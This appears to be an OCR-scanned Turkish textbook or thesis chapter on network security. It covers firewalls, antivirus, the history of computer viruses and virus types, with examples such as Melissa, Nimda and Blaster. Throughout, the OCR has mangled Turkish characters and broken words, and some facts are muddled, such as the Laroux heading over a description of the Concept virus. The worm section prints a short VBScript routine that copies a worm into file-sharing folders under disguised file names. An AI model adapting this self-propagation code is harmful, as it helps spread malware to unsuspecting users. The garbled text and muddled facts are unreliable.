Saldirgan uygulamalar, sistemlere kendilerini tasiyan protokoller veya kendi kodlar
ile saldirirlar. Mesela bir http paketi (Internet sorfii icin) gereginden fazla bir uzunukta ise bu
bir “Buffer Overflow Attack” olabilir.

Internet tlizerinden gelen viriis Otesi tehlikelerin bazilar1 ziyaret edilen site i¢inde
dolagirken de, ziyaret eden kisinin bilgisayarina saldirabilirler veya bazi arka kapilar acip
oradan daha biiyiik sizmalar olmasina sebep olurlar.

Giivenlik sistemlerinin yapilandirilmasi i¢in yapilmasi zorunlu olan islemler asagida
belirtilmektedir.;

1. Internet erisim gilivenligi icin “firewall” kurularak bilgisayar ag1 disaridan gelen
saldirilara kars1 korunmalidir.

2. E-posta trafigi iizerinde viriis taramasi yapan Anti-Viriis ¢éziimleri kullanilmalidir.

3. IPSec, PPTP, L2TP, SSH, SSL gibi protokolleri kullanarak iletisimin sifrelenmesini
saglanabilir.

4. Biitiin bilgisayarlara giincel anti-virus yazilimlar1 kullanilarak viriislere kars1 koruma

saglanabilir. Ayrica anti-viruslerin diizenli olarak giincellemesi yapilmalidir.

Sunucularin glivenligi saglanmalidir.

6. Gerekli olmayan yazilimlar ve servisler sistemden ¢ikarilmalidir.

)]
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7. Kaullanici ve gruplarin yetkileri ve sifre politikalar1 diizenlenmelidir.

Kritik dosyalara ve donanimlara erisimler kisitlanmalidir.

9. Sistem izleme politikalart belirlenip ve en uygun kayit tutma mekanizmasi
kullanilmalidur.

10. Kullanilan sistemler ile ilgili iiretici firmalarin siteleri devamli olarak takip
edilmelidir. Ornek: http://www.microsoft.com/turkiye/guvenlik/

11. Web  Filtreleme ¢oziimleri sunulmalidir. Istenilmeyen web sitelerine erisim
engellenebilmelidir.

12. Bir giivenlik politikas1 olusturulmalidir.

13. Her tiirli iletisimde veri sifrelenmelidir.

14. Ag siirekli olarak denetlenmeli ve izlenmelidir.

15. Oturumlarin ve hareketlerin diizenli olarak izlenmesi gerekir.

16. Denetleme ve izleme islemleri diizenli olarak raporlanmali ve ge¢cmise doniik
karsilastirmalar yapilmalidir.

*®

Giivenlik politikas1 bir kurum i¢in en ¢ok iizerinde diisiiniilmesi gereken ve taviz
verilmeden hemen devreye sokulmasi gereken bir politika belirlenmelidir.

Internet, bilgiye ulagsmay1 kolaylastirmak i¢in degisik ‘bilgi tarama’ yontemleri de
sunar. Internet’ in sunduklar1 ¢ok genistir ve bu kadar bilgi arasinda, bilingsiz bir kullanimla,
insan yolunu ¢ok kolay kaybedebilir ve sonradan istenmeyen bir¢ok nedene sebebiyet
verebilir.

Fakat Diinyada ve Tiirkiye’de oldugu gibi kullanici sayis1 ve servis saglayicilar hizli
olarak arttik¢a Internetde giivenlik 6nemli bir konu haline gelmistir.

3.2 Firewall

Firewall (Internet Glivenlik Sistemi), Internet iizerinden baglanan kisilerin, bir sisteme
girisini kisitlayan, yasaklayan ve genellikle bir Internet gateway servisi (ana Internet
baglantisini saglayan servis) olarak calisan bir bilgisayar ve lizerindeki yazilima verilen genel
addir. Firewall’lar Internet ¢ikislarm giivenli yapan cihazlardir. Istenmeyen kisilere karsi
icerideki gizli bilgilerin disartya sizmamasi, kotii niyetli kisilerin dosyalara erisimini engeller.
En ¢ok tercih edilen firewall'lar donanimu ile gelenlerdir.

Fakat unutulmamalidir ki, firewall'lar antiviriis programlar1 degildir, Internet icerik
filtreleme yapmazlar. Bunlar i¢in bagka yazilimlar kullanilmas1 gerekir. Firewall'lar donanim
ve yazilim olmak iizere iki ¢esit olarak kullanilmaktadir. Daha giivenli olan sistem donanim
¢Ozimiidiir.

3.3 Anti-Viriis

Sistemlere bulasan ve cesitili hasarlara sebep olan yazilimlardan korunmak igin
gelistirilmis programlarin genel adidir. Bir viriisiin etkileri bilgisayarda anormal yavaglama,
isletim sistemi uygulamalarinda beklenmeyen hata mesajlar1 (application error, system fault,
missing files vb. gibi), bilgisayarin kilitlenmesi, normalde ac¢ilan dosyalarin agilmamasi,
anormal sesler ve gorsel davraniglar ya da bilgisayarinizin isteginiz diginda islemler yapmaya
baslamas1 seklinde kendini gdsterebilir. Bu durumda yapilacak sey, bir anti-viriis programi
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kullanarak bilgisayarin viriisten temizlenmesidir. Ancak, viriisiin bilgisayara onemli dlciide
geri doniilmez hasarlar vermis oldugu durumlarda viriisten temizleme islemi her zaman
basarili olmayabilir.

Anti-viris yazilimlarinin tarama islemi sonrasinda virlis bulamamasi bilgisayarda
viriis olmadigini degil, sadece tarama isleminde kullanilan anti-viriis programlarinin tanidigi
virtislerin mevcut olmadigini gosterir. Kullanilan anti-viriis yazilimlarinin bulduklar: viriisleri
silmeleri veya bulastiklar1 dosyalardan temizlemeleri miimkiin olmamasi da zaman zaman
karsilasilan bir durumdur. Bu durumda kullanilan anti-viriis programinin giincellenmesi veya
daha giincel baska bir anti-viriis yaziliminin kullanilmasi uygun olacaktir.

3.3.1 Anti-Viriis YOonetimi

e Ag sisteminde yer alan tiim anti-viriis programlarini bir merkezden yonetebilmelidir.

e Ag sisteminde yer alan tiim anti-virlis programlarini goriintiileyebilmeli, kayit
dosyalarini inceleyebilmelidir.

e Ag sisteminde yer alan tiim anti-virlis programlarin1 uzaktan kontrol edebilmeli ve
calistirabilmelidir.

e Ag sisteminde yer alan tiim anti-virlis programlarinin gilincel viriis bilgilerini
istenildigi zaman otomatik olarak giincelleyebilmeli ve ilgili anti-virlis programlarina
dagitabilmelidir.

e Ag sisteminde yer alan tiim anti-virlis programlari i¢in kararli bir ydnetim
saglayabilmelidir.

e MS Windows NT, 2000 isletim sistemlerini desteklemelidir.

3.4 Virisler

Diinyanin ilk bilgisayar viriisleriyle tanigmasi, 10 Kasim 1983 giinii Fred Cohen
tarafindan sunulan konferans bildirisiyle gerceklesmistir. Ancak 1970’11 yillinda tesbit edilen
“The Creeper” en eski viriis olarak bilinmektedir. The Creeper programini etkisiz hale getiren
“The Reeper” adli bir diger yazilim da bilinen en eski antiviriis programi olarak
kullanilmustir.

Viriisler, calistiginda sistemlere degisik sekillerde zarar verebilen bilgisayar
programlaridir. Yani, herhangi bir is, oyun, miizik programi gibi programcilar tarafindan
yazilmis birer programlardir. Bu programlar1 kullandigimizda, bilgisayarlarda ¢aligtirdigimiz
diger programlardan bir farki yoktur. Bu nedenle, viriisleri 6zel kilan, girdigi sistemlere
kendilerini, kullanicinin farkinda olmadan veya iradesi disinda calistirilacagi sekilde
yerlestirmesi ve sistemlere zarar vermesidir. Bir viriis kullanici tarafindan calistirilmadan
veya kendisini programlayan kisi tarafindan dnceden belirlenmis durum olusmadan aktif hale
gelemez. Virlis denmesinin sebebi, biyolojik anlamdaki virlislere benzer o6zellikler
tasimalaridir. Ornegin viriisler, kodlarmi degistirerek yani bir cesit mutasyon yaparak
kendisini tarayan anti-virlis programlarindan kurtulabilirler. Boylelikle uygun zamanda
yeniden aktif hale gegerek kaldiklari yerden gorevlerine devam ederler.

Virtisler genel olarak etkilerini diger calisan programlara bulasarak, onlarda gesitli

degisiklikler yaparak gosterirler. Viriislerin bir diger 6zelligi ise kendilerini ¢cogaltmalar1 ve
hafizada degisik yerlere kaydetmeleridir. Virisler, disketler, ag paylasimi, Internet (e-posta,
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dosya indirme, vs) yollariyla yayilir. Ozellikle Internet iizerinde dosya arsivlerinin ne kadar
sik kullanildigin1 diisiintirsek tehlikenin boyutlarini daha da iyi anlayabiliriz.

Viriislerin etkileri sadece rahatsizlik veren kiiciik problemler olabildigi gibi
sistemlerin hafizasin1 ve disk alanini kullanarak bu kaynaklara verimli olarak erigiminizi
engellemeleri ya da kullandiginiz dosyalarin igeriklerini bozmalari, silmeleri gibi oldukca
zararl etkileri de olabilir. Bunun disinda, kullandiginiz bilgisayar programlarini bozabilir,
caligmalarin1 yavaslatabilir, sabit diskinizin tamamini ya da Onemli dosyalarin oldugu
kisimlarini silebilirler.

Baz1 virlislerde ise bazi hatalar bulunmaktadir. Bunlar sistemlere ¢esitli etkileride
bulunabilir. Daha 6nceden kestirilemez etkiler gosterebilecegi anti-viriis programlarini
yaniltabilirler ve bdylece; sistem gogmelerine ve veri kayiplarina neden olabilirler.

3.4.1 Tarihte Viris

e 1948 yilinda, John Von Neumann'in, bir bilgisayar programinin kendi kendisini
kopyalayabilecegi tezi, virlislerin yazilmasi fikrine yol agti.

e 1981 yilinda, Aplle II bilgisayari icin bilgisayar miithendisligi 6grencileri tarafindan
bilgisayar viriisii yazildi.

e 1983 yilinda, bir doktora tezinde, ilk kez bilgisayar viriisii kavrami kullanildi.

1986 yilinda, iki Pakistanl kardes, "Brain" adl1 viriisii yazdilar.

1989 yilinda, IBM sirketi tarafindan ilk Anti-Viriis yazilimi satiga sunuldu.
1990 yilinda, Symantec firmasi, Norton anti-virlis yazilimini piyasaya siirdii.
1990-92 yillarinda yazilan viriis sayisi % 450 oraninda artti.

1995 yilinda Windows ig¢in viriis yazildi.

e 1999 yilinda Melissa viriisii yazildi ve e-posta yolu ile diinyanin her yanina yayilmaya
basladi.

e 2000 yilinda, I Love You viriisii yazildi, yayildi ve milyonlarca bilgisayara girdi.

e 2001 yilinda, Simpson kurtcugu Macintosh’lar1 etkiledi. Code Red, basta Beyaz
Saray’in web sunucusu olmak {iizere bir ¢cok web sunucusunu felg etti. Nimda viriisli yazildi
ve yilin viriisii se¢ildi. Outlook.pdf (Pearchy)i Acrobat Reader’in PDF’lere bulasan ilk viriisii
oldu.

e 2001-06 yillarinda viriislerin 6nlenemeyen yiikselisi devam etmektedir.

3.4.2 Viriis Cesitleri ve Ozellikleri

Bilgisayarlarda ilk goriinen virlisler disketlerin boot sektoriine bulagan Boot
virlisleriydi. Bunlar makina dili (Assembly) yazilmislardi. Zaman ilerledik¢ce Boot viriisleri
sabit disklere, Dosya viriisleri “.exe” dosyalarinda yerini aldi. Hem “.com” hem de “.exe”
dosyalarina bulasabilen virtisleri karma viriisler takip etti. Bunlar boot ve dosya viriislerinin
ortak ozelliklerini tagiyordu. Bulagmak i¢in her tiirlii yolu kullanabiliyorlardi. Daha sonralari
Microsoft Office seti igerisindeki dokiiman dosyalarina bulasan yeni tiirdeki viriisler Internet
ve e-posta kullaniminin artmasiyla sayilarini ¢ok arttirdilar. Bunlar, Macro viriislerydi.
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Teknolojik gelismelerinin ardindan, HTML’in gelismesi ve yeni programlama
dillerinin (ActiveX ve Java) kullanimiyla viriisler yazarlari i¢in bulunmaz bir firsatdi.

Internet  kullaniminin  yayginlasmas1 ile birlikte, kullanicilarin = birbirleriyle
mesajlastigi chat programlarinin (IRC, mIRC, ICQ, Msn v.s gibi) acikliklarindan yararlanarak
virtsler sistemlere ciddi zararlar vermektedirler. Sonralar1 giderek popiiler hale gelen avugici
bilgisayarlar1 (PDA) da viriislerden nasibini almistir.

Bu gelismelerle birlikte, e-posta kurtguklar1 giderek gelisti ve yayginlasti. “.exe”
lerinin yerini “.vbs” gibi script tabanli olan programlar aldi. 2000’li yillar ile birlikte e-posta
ile yayilan ve degisik kombinasyonlardan olusan kurtcuklar tiiretildi.

Internet bu kadar yaygin degilken, e-postalardan korunmak icin ekteki dosyayi
acmamak, ¢alistirmamak yeterliyken teknolojinin ilerlemesiyle durum degisti. Viriis yazarlari
Outlook’un agiklarindan faydalanarak gelistirdikleri yeni viriislerle ekli bulunan dosyalanin
calistirilmasina gerek kalmaksizin e-posta’nin agilmasi ya da goriintiillenmesi ile de aktif hale
gelmektedirler. “Nimda” gibi bazi1 viriislerin bulastigi web sitelerine baglanmak bile viriisiin
aktif olmasi i¢in yeterlidir.

Bundan su sonug c¢ikartilabilir; Giiniimiizde teknolojik bakimindan ne popiilerse o
virlis yazarlar1 ve programlari i¢in bulunmaz bir firsatdir. Ciinkii giivenlik bakimindan higbir
tacize ugramamaistir.

3.4.2.1 Dosya ve Program Virisleri

Bu tiir virlisler programlarin sonuna kendilerini ekleyerek dosya uzunluklarini
artirirlar. Bu tiir viriisler genellikle uzantist “exe” ve “com” olan dosyalara bulasirlar.

3.4.2.1.1 Chernobyl

Adini niikleer kazasindan alan, bu viriis niikleer kazanin oldugu tarihte calisir ve
calistig1 an itibari ile flash'n1 yazmay1 dener. Biiylik hasarlara yol agan Chernobyl bazi
anakartlarda diizeltilmez hasarlar olusturabilen bir viriistiir. Flash Biosu ise yaramayan
kayitlarla dolduran bu viriis, bilgisayarin ilk acilmasini saglayan bios yazilimi ise yaramaz
hale getiriyor ve sistem kapkara bir ekranla bas basa kalmaktadir. Cernobil virlisii tiim
diinyada bir ¢ok kullanici ve kamu kuruluslarma (ev ve ofis kullanicilari, bankalar, ordu,
trafik, tiniversiteler, magazalar, internet kafeler, esnaf vb. gibi) zarar vermeyi bagarmisdir.

Internet, bilgisayar diinyasinda bir devrim yaratmis olmasina karsin bereberinde
bunun gibi sakinilmasi gereken durumlar1 da getirmistir. Cernobil viriisiinden ve diger tiim
bilinen virtislerden korunmanin tek yolu, ne oldugunu bilmediginiz dosyalar1 agmamak ve
giivenilir ve giincel bir viriis programi edinerek sisteminizi diizenli olarak viriis taramasindan
gecirmektir.

3.4.2.1.2 FunLove

FunLove hafizada yerlesebilen Win32 viriisiidiir. Kasim 1999'da ABD, Ingiltere ve
Cek Cumhuriyeti gibi iilkelserde yaygin olarak goriinmiistiir. Fun Love virlisliniin en biiyiik
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be sasirtan yoOnii, Microsoftun resmi sitesinden indirilen giincellestirme dosyalarinada
bulagsmis olmasidir. Viriis hem 9x ve Nt sistemlerde ¢alisabilmektedir. Bulasma fonksiyonu
C:'den Z:'ye kadar olan biitiin siiriiciileri taradiktan sonra ag kaynaklarini da tarar ve
calistirilabilir PE dosyalara ((OCX, .SCR, veya .EXE uzantil1) bulagir. Viriis kodunu dosyanin
en sonuna yazar. Dosyanin bagina da 8 baytlik bir kod ekleyerek program bagladiginda viriis
kodunun calistirilmasina neden olur. FunLove viriisiiniin farkedilmesi {izerine kisa bir siire
icin internet sitelerinde bir kisim dosyalarin erisimini durdurdu. Boylece, diinya iizerinde
birgok sirketin ve bilgisayar kullanicisinin basin1 agritmigtir. Ornegin, Dell firmasinmn tiim
iiretiminin iki giin boyunca durmasina sebep olmustu.

3.4.2.1.3 Nimda

Adin1 "Admin Yonetici" kelimesinin tersten okunmasi ile alan nimda viriisii, Worm
virlis birlesiminden olusturmustur. Tahminlere gore 2 milyondan fazla sunucu ve kisisel
bilgisayara bulasan Nimda 1 giinliik siiregte bu inanilmaz rakama ulasmayi basarmustir.
Microsoft Office Programlarini, Ag Paylasim islemlerini hatta printer ayarlarini ciddi sekilde
etkileyen virlisin bulastig1 bir bilgisayarda office uygulamalarinda sik¢a “yetersiz bellek”
benzeri hata mesajlarina sebebiyet vermekte, zaman zaman kilitlenmelere yol agmaktadir.
Nimda, kendisini yaymak icin kullandig: taktiklerden bir tanesi de Microsoft IIS hizmetini
kullanan sunucular1 bulup, biinyesinde barindirdigi IIS acigimi kullanarak sistemi etkiler.
Ayrica, LAN trafigini arttirip sistemleri kullanilmaz hale getirir.

3.4.2.2 Macro Virisleri

Microsoft Office’in Word, Excel, Power Point, Access ve benzeri dokiimanlarin
dosyalarina makro programi olarak bulasirlar. Makro viriisleri sadece Microsoft Office
uygulamalart ile sinirhi degil. Makro dili igeren her tiirli uygulama viriis riskine sahiptir.
Acrobat Reader’in PDF dosyalari, Corel Draw’in ¢izim dosyalar1 ve benzerleride bu virlise
acik hedeftir.

3.4.2.2.1 Melissa

1999 yilinda ¢ok biiyiik hasarlara yol acan melissa viriisii Microsoft Word dosyasinin
icine kodlanir, belge agildig1 anda, Microsoft Outlook'u acarak adres defterinde bulunan ilk
50 kullaniciya kendini e-posta araciligi ile yollar. Bu dongii i¢cinde gelistiginden ¢ok kisa bir
stire i¢inde inanilmaz bir hizla e-posta yoluyla yayildi. Kullanic1 farkinda olmadan 6nemli
dokiimanlarin1 e-posta yoluyla bagkalarina gondererek gostermektedir. Microsoft ve
Intel’in de icinde bulundugu bir ¢ok sirketin mail sistemlerine girmistir. Microsoft firmasi,
viriisiin sirket icerisinde daha fazla yayilmasini Onleyebilmek icin tiim mail sistemini
kapatmak zorunda kalmistir. E-posta yolu ile kendisini yayma yontemini kullanan viriisler
arasinda bugiine kadar en biiyiik basariya ulasan viriistiir.

3.4.2.2.2 Laroux

Concept Viriis’ii ilk ve en yaygin Excel Macro Viriisiidiir. Windows 95 ve MS
Office’in yeni versiyonunun ¢ikmasi ile birlikte ortaya ¢ikti. Birkac giin i¢inde bu viris,
diinya capinda on binlerce bilgisayara bulasarak biiyiik bir salgina yol a¢ti ve tiim diinyada
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biiytlik bir yank1 uyandirdi. Burada belirtilmesi gereken bir noktada, anti-viriis sirketlerinin bu
yeni virlis ¢esidine hazir olmamalariydi. Bu ylizden anti-viriis sirketleri, anti viriis yazilim
motorlarini degistirmek ya da yeni anti-viriis motorlar1 tiretmek zorunda kalmiglardir. Halen
daha farkli isimler ve kodlar ile yasamakta olan viriistiir.

3.4.2.3 ActiveX ve Java Viriisleri

Web sayfasina gomiilii bulunan Java programlarini, ActiveX kontrolleri kullanarak
faaliyet gosterirler. Daha ¢ok HTML dosyalarina bulasirlar ve kendi kaynak kodlar1 igeren
dosyalar olustururlar. Birgogu isletim sisteminin registry’sinde degisiklik yapar. MS Internet
Explorer'm ¢ok sayida giivenlik giincellemesi bu nedenle yazilmistir. Tedbir olarak MS
Internet Explorer ayarlarindaki giivenlik seviyesinin en azindan Medium olarak ayarlanmasi
gerekmektedir.

3.4.2.3.1 Gigger

Viriis bulastig1 sistemlerin hard diskindeki dosyalar1 silmektedir. Microsoft'un e-posta
programi Outlook'a ait bir giincelleme gibi goriinen viriis adres defterindeki isimlere kendini
gonderebilmektedir. Viriis genellikle asagidaki klasorlerde goriinmektedir;

C:\Windows\Samples\Wsh\Charts. js
C:\Windows\Samples\Wsh\Charts.vbs
C:\Windows\Help\Mmsn_offline.htm

3.4.2.4 Solucanlar ve Kurtcuklar (Worms)

Aglar yoluyla yayilirlar. Yayilma sirasinda ayrica bir dosyaya ihtiyac duymazlar.
Dogrudan kendi kodlarindan olusan dosyay1 kullanirlar. Bazi e-posta solucanlarin aktif
olmasi i¢in mail’in agilmasi dahi yeterli olabilir.

Amaglart kullanicinin merakla e-postasini agip, solucanin yayilmasini saglamaktir.
Ozellikle internet paylasim araglarmi kullanan solucanlarinin ¢ogunun basvurdugu ydntem
bazi dosya uzantilarin1 (.mp3, .gif, .jpg) degistirmek ve insanlarin bu ortamda arayabilecegi
dosya adlar1 seklinde ¢cogalmaktir.

Bu solucanlar oncelikle sistemde paylasim programlarinin paylastirma dizinlerini
ararlar. Arayacagi dizinler, 6rnegin su sekilde olabilir:

C:\ Program Files\Tolga\My Shared Folder

C:\ Program Files\Uslu\My Shared Folder

C:\ Program Files\Guest\Shared

C:\ Program Files\Administrator\My Shared Folder

Bulduklar1 dizinler i¢ine aranabilecek dosya adlar seklinde kendini ¢ogaltirlar. Dosya
paylasim kurtlari i¢in kullanilan kendisi cogaltma kodu genellikle su sekildedir (VBScript):

Set fso=Create Object("'scripting.filesystemobject™)
Solucan=(wscript.scritptful Iname)

Kaza=(""C:\ Program Files\Tolga\My shared Folder™) & "\"
IT fso.folderexists(Tolga) then

Fso.copyfile solucan, tolga & "ICQ.exe.vbs"
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Fso.copyfile solucan, tolga & "Muzik.mp3.vbs™
Fso.copyfile solucan, tolga & ""Hotmail.exe.vbs"
Fso.copyfile solucan, tolga & "Word.exe.vbs"

Yukaridaki kod Tolga dosya paylasim dizinine belirtilen dosya olarak
kopyalayacaktir.

Solucanlar sisteme bulasmadan once uyguladigi bir diger taktik ise sisteme kurulu
olan Antivirus ve Firewall uygulamalarin1 kapatma islemidir. Bir kullanici durduk yere
Antivirus ve Firewall uygulamasi kapandigimi goriiyorsa bazi durumlardan siiphelenmesi
gerekir.

3.4.2.4.1 Blaster

Bu solucan Windows isletim sistemlerinin bazi siirlimlerinde son zamanlarda
rastlanan savunmasizlik olusturmasiyla tiim diinyaya etkisini gostermistir. Ancak, bir
bilgisayar Blaster tarafindan etki altina alindiginda kolayca anlasilmistir, program hatasi
olarak bilgisayar periyodik olarak yeniden baglat konumuna gegmekteydi. Blaster viriisiiniin
yamalar1 viriis daha ortaya ¢ikmadan haftalar once siiriilmiistii. Buna karsin, onbinlerce
Windows kullanicis1  Blaster virlisiinii kapti. Bunun bir nedeni de kullanicilarin
bilingsizligidir. Cagdas bilgisayar kullanicis1 anti-viriis programlarini yiiklemeli ve
giincellemelidir. Ayrica, Blaster bulastigi tim sistemleri 16 agustos tarihinde
windowsupdate.com sitesinde saldirmaya yonelendirecek bir saatli bomba tagidigi da ortaya
cikti. Microsot bu saldiridan kurtulabilmek i¢in windowsupdate.com sitesini bir siireligine
kapatmak zorunda kaldi.

3.4.2.4.2 Sasser

Sasser, internete bagli herhangi bir sisteme bulasabilmekteydi. Kurbanlarini rast gele
secen Sasser, bulastig1 bilgisayar1 otomatik olarak kullanicisinin miidahalesi disinda kapatiyor
ve acgtyordu. Sasser virlisi windows giivenlik agigini kullanarak sistemlere bulasti.
Avusturalya’nin giineyinde tren seferleri sinyalizasyon bilgisayarlarinin virlisten etkilenmesi
tizerine durduruldu. Dogu Asya’nin teknoloji merkezlerinden Tayvan’da ulusal posta sistemi
virlis nedeniyle calisamaz hale geldi. Sasses virlisii en ¢ok internet giivenligi konusunda
bilgisi yeterli olmayan kurumlarda etkili olmustur.

3.4.2.5 Truva Atlan (Trojen)

Bir program dosyasia eklidirler. Eklendikleri program dosyasinin calistirilmasi
sonucu aktif olurlar ve kullanicilarin kopyalamasiyla yayilirlar. Sistemlere uzaktan erigim
saglayarak bir backdoor kodunu, eski bir bilgisayar viriisiinii ya da yepyeni bir solucani
kaydedebilirler. Truva atlarin1 diger viriislere gore tespiti cok daha zordur. Herhangi bir
sekilde bulasmadiklari i¢in ve herhangi bir etkide bulunmadiklar1i i¢in ancak etkisini
gosterdikten sonra anlasilabilir. Truva atlari, internet hizin1 yavaslatir ve yerlestikleri sistemi
kullanarak web'in geri kalanina yayilabilirler. Truva atlarinin etkileri asagidaki gibidir:
(Danshal)

e Dosyalar silinebilir,
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e Dosyalar bilgisayar korsaninin yazmis oldugu bilgisayar programi sayesinde
gonderilebilir,

e Dosyalar lizerinde degisiklik yapilabilir,

e Spam posta gondermek i¢in e-posta adreslerini toplar,

3.4.2.5.1 Uzaktan Erisen Truva Atlan

Saldirgan kisilerin kurban bilgisayarlara uzaktan iletisimlerini saglarlar. Boylelikle
saldirgan kisiler bilgisayarinizdaki bilgileri kolaylikla gorebilir ve silebilir.

3.4.2.5.2 Sifre Gonderen Truva Atlan

Bu truva atlarinin maksadi kayitl olan tiim sifreleri bulmak, o an girmekte oldugunuz
sifreyi bile almak ve size farkettirmeden 6zel bir e-posta adresine gondermektir. Glinlimiizde
en ¢ok msn adresinin sifresini 6grenmek amaciyla kullanilir.

3.4.2.5.3 Klavye Girisini Kaydeden Truva Atlan

Bu truva atlarinin mantig1 ¢ok basittir. Klavyeden bastiginiz her tusu sirasiyla bir
dosya i¢ine kaydettikten sonra saldirgana yollarlar.

3.4.2.5.4 Zarar Veren Truva Atlari

Bu truva atlarinin tek amaci dosyalar1 silmek ya da tamamen yok etmektir. Bu amag
onlar1 ¢ok basit ve kolay kullanimli yapar. Bu tipteki yazilimlar, otomatik olarak tiim sistem
dosyalarin1 bilgisayarinizdan silerler. Saldirganlar tarafindan aktif edilebildikleri gibi
ayarlanmig olan 0zel bir tarih veya saatte kendileri de aktif olabilirler.

3.4.2.5.5 Program Denetim Yazilimlarimi Kapatan Truva Atlan

Bu truva atlar1 bilgisayarmizin giivenligini saglamak i¢in kurulan programlari devre
dis1 birakir. Boylelikle saldirganlar bilgisayarinizda yasa dis1 iglemleri yapabilmek icin
bilgisayarinizda daha rahat calisabilirler.

3.4.2.6 Arka Kap: (Backdoor)

Sistemlerde bir arka kapi olusturan programlardir. Internet'e bagli sekilde bilgisayar
kullanmiyorken uzaktan sistemlere erisim saglanarak bir program, arka planda g¢alisir. Bu
olusturulan kap1 kisiye 6zel olabilecegi gibi herkesin bilgisayariniza girebilecegi bir kap1 da
olabilir.

3.4.2.6.1 Backorfice

Backorfice bir gesit backdoor (arka kapi), yani trojanlarin bir alt tiirii . Backdoorlar
kurbanin sistemine gizlice giren ve kullanicinin haberi olmadan baglant1 kuran programlardir.
Internet iizerinden saldirganlar bu elektronik arka kapidan hedef bilgisayara baglanip
dosyalart silebilir ve hatta tiim sabit diski formatlyabilir.
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3.4.2.7 Boot Viriisleri

Boot viriisleri hard diskin veya disketin boot sektorlerine yerlesirler. Bilgisayarlar
acildiginda veya resetlendiginde disketin veya hard diskin boot sektoriindeki yiikleyici
program olarak calistirilir. Kullanicilarin ¢alistirdiklar1 her programa bu sayede ulasarak
cesitli sorunlara yol acgarlar. Boot viriislerinin diger viriislerden en énemli avantajlar isletim
sisteminden dnce aktive olmalaridir. Fakat diger viriislere gore cok daha kolay tesbit edilip,
temizlenir. Cilinkii boot viriislerinin bilgisayarda barmacagi yer bellidir. Dolayisiyla 6zel bir
uygulamaya ihtiya¢ duyulmadan boot viriislerinden korunmak oldukg¢a kolaydir.

Boot viriislerini; Disketlere ve Sabit Disklere olmak {izere ikiye ayirabiliriz.

Disketlere; Disketlerdeki boot sektoriine bulasanlarin boylar1 400 byte’in altinda
olmak zorundadirlar. Boot viriisiine sahip bir disket ile bilgisayar agildiginda, boot
sektoriindeki virlis bilgisayarin BIOS’u tarafindan bellege yiiklenip c¢alistirilir. Daha sonra
viriis aktif olur ve kendisi i¢in daha uygun bir ortama, sabit diske bulasir.

Sabit Disklerde; Boot virlisiiniin bulastigi yer, sabit diskin ilk sektori ile bundan
sonraki kullanilmayan soktorlerin bagzilaridir. Isletim sisteminin kurulu oldugu sabit diskin
disinda, diger disklerdeki book soktorlerine de bulasabilirler.

3.4.2.7.1 Michelangelo

1992 Yilinda Goriiniip Binlerce Pc Bulastig1 Belirtildi. 6 Mart giinii Sabit disklerdeki
sektorlerin tizerine veri yaziyor ve disketlerdeki dosyalar1 bozuyordu.

3.4.2.7.2 Stealth

Aktif olarak kendini saklayabilen bir viriistlir. Adini tiiriinden alir ve boot viriislerinin
icinde bulunur Diskin MBR(Master Boot Record)'sine kendini yazdirir.

3.4.2.8 Kandirmacalar (Hoax)

Gergekte olmayan viriisler hakkinda uyaran kandirict veya dikkat gekmek maksadi ile
gonderilmis mesajlardir. Genellikle "Kazandiniz!!!" veya "Yeni bir virliis yayiliyor."
basliklariyla dikkatinizi ¢ekmeye ¢alisan ve sizi ya bir siteyi ziyaret etmeniz ya da ekinde
gonderdigi yamay1 ¢alistirmaniz konusunda ikna etmeye calisan mesajlardir. Bunlar sadece
kullanicilarda panik yaratmak ic¢in hazirlanmis olabilecegi gibi daha sonradan yazilacak bir
viriisiin etkisini artirmak amaciyla da hazirlanmis olabilir. Bu bilgiyi tiim tanidiklariniza
gonderiniz sekillerde uyar1 veren mesajlarin tipik birer Hoax oldugu sdylenebilir.

3.4.2.9 Sakalar (Joke)
Viriislermis gibi davranan fakat viriis olmayan saka amacli programlardir. Sistem 30

saniye icinde formatlanacaktir diyip 30 dan geri sayanlar1 veya Tiklar tiklamaz format c:/q
yazip sanki makinanizda ne var ne yok siliyormus gibi gériinen eylendirici viriisiimstilerdir.

35



3.4.3 Viriisler Nasil Bulagirlar ?

e Viriislii dosyalarin veya disketlerin farkli bilgisayarlarda kullanilmasi sonucu virtisler
bilgisayarlara ve i¢indeki dosyalara bulagirlar.

e Elektronik posta ile gelmis olan bir dosyanin ag¢ilmasi ile virlisler aktif hale
gelebilirler.

e Yerel ag iizerinden Onlem alimmaksizin yapilan dosya paylasimlari viriislerin
dosyalara bulagsmasina neden olur.

e Bulasma sekli ve yeri, viriisiin tiiriine ve 6zelliklerine gore degisir.

3.4.4 Virislerin Etkileri Nelerdir ?

Viriisler birer yazilimdir. Ve, sistemlerde ¢aligan diger programlar gibi ¢alisirlar. Her
program gibi, ne yapacaklari, programlama asamasinda onlara ne komut verildigine baghdir.
Bilgisayarin az ya da c¢ok yavaslamasina, zaman zaman dosyalarin bozulmasina sebep
olmalar1 en genel etkileri olarak sayilabilir. Bazilari ise, bilgisayarin calismasinda bir
aksamaya yol agmak yerine kendisini ¢gogaltmakla yetinir.

Kotii amcacli virlisler dosyalar1 bozabilir, silebilir, diski formatlayabilir, bilgisayar
donanimin diizgiin ¢alismasin1 engelleyebilir. Bilgisayar ekranina can sikict mesajlar
cikararak caligmanizi bolebilir/engelleyebilir ve daha pek cok sekilde etkide bulunabilir.
Bunlarin disinda onemli bir nokta da, virlisiin, geldigi kaynagm itibar kaybetmesine,
giivenligi konusunda siipheye sebep olmasidir. Ozellikle e-posta yoluyla bulasan viriisler
bir¢cok kurumun itibarinin zedelenmesine sebep olmustur.

Viriisler, yalnizca PC'lere bulasmaz; ancak en ¢cok Dos ve Windows isletim sistemi ile
calisan PC'lere bulastirlar. Macintosh virtisleri de bir hayli yaygindir. Unix isletim sistemi ile
calisan bilgisayarlarda, viriis bulagma vakalar1 oldukca azdir.

Virtisler, bilgisayar sisteminin korumasiz halinden faydalanarak her tiirlii tehtide yol
acabilir. Bu tiirlii durumlarin 6niine gegilebilmesi i¢in, risk yonetiminden faydalanarak en iyi
giivenlik yontemi tesbit edilmelidir.

3.4.5 Neden ve Nasil Viriis Yazilir ?

Virlis yazarlari, genellikle programlamayi ve isletim sistemini iyi tanityan birisi
tarafindan yazilir. Kendi yazdiklar viriisler ile kendilerini kanitlamak istedikleri i¢in bu yola
basvururlar. Daha sonra yazdiklari viriis diinyada ses getirecek etkiler yaratmigsa. Ismi bir
cok yerde yazili, gorsel basinda ve Internetde gecer. Viriis yazarida bu olaydan biiyiik bir
gurur duyar.

